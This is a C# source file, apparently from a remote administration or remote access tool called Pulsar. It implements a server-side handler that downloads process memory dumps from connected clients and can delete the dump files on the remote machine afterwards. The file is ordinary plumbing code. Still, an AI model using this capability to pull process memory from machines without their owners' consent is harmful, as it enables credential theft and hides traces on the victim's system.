Files
PulsarK-main/Pulsar.Server/Messages/MemoryDumpHandler.cs
T
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

100 lines
3.4 KiB
C#

using Pulsar.Common.Enums;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.FileManager;
using Pulsar.Common.Messages.Administration.TaskManager;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Server.Models;
using Pulsar.Server.Networking;
using System;
using static Pulsar.Server.Messages.FileManagerHandler;
namespace Pulsar.Server.Messages
{
public class MemoryDumpHandler : MessageProcessorBase<string>, IDisposable
{
/// <summary>
/// Raised when a dump transfer updated.
/// </summary>
/// <remarks>
/// Handlers registered with this event will be invoked on the
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
/// </remarks>
public event FileTransferUpdatedEventHandler FileTransferUpdated;
/// <summary>
/// The client which is associated with this memory dump handler.
/// </summary>
private readonly Client _client;
private readonly FileManagerHandler _fileManagerHandler;
private readonly DoProcessDumpResponse _activeDump;
/// <summary>
/// Initializes a new instance of the <see cref="MemoryDumpHandler"/> class using the given client.
/// </summary>
/// <param name="client">The associated client.</param>
/// <param name="response">The process dump this handler tracks.</param>
public MemoryDumpHandler(Client client, DoProcessDumpResponse response) : base(true)
{
_client = client;
_activeDump = response;
_fileManagerHandler = new FileManagerHandler(client);
_fileManagerHandler.FileTransferUpdated += OnFileTransferUpdateForward;
MessageHandler.Register(_fileManagerHandler);
}
/// <inheritdoc />
public override bool CanExecute(IMessage message) => message is FileTransferComplete;
/// <inheritdoc />
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
/// <inheritdoc />
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case FileTransferComplete complete:
Execute(sender, complete);
break;
}
}
private void Execute(ISender sender, FileTransferComplete complete)
{
}
private void OnFileTransferUpdateForward(object sender, FileTransfer transfer)
{
FileTransferUpdated?.Invoke(sender, transfer);
}
public void Cleanup(FileTransfer transfer)
{
_fileManagerHandler.DeleteFile(transfer.RemotePath, FileType.File);
}
public void BeginDumpDownload(DoProcessDumpResponse response)
{
string fileName = $"{response.UnixTime}_{response.Pid}_{response.ProcessName}.dmp";
this._fileManagerHandler.BeginDownloadFile(response.DumpPath, fileName, true);
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
this._fileManagerHandler.FileTransferUpdated -= OnFileTransferUpdateForward;
MessageHandler.Unregister(this._fileManagerHandler);
this._fileManagerHandler.Dispose();
}
}
}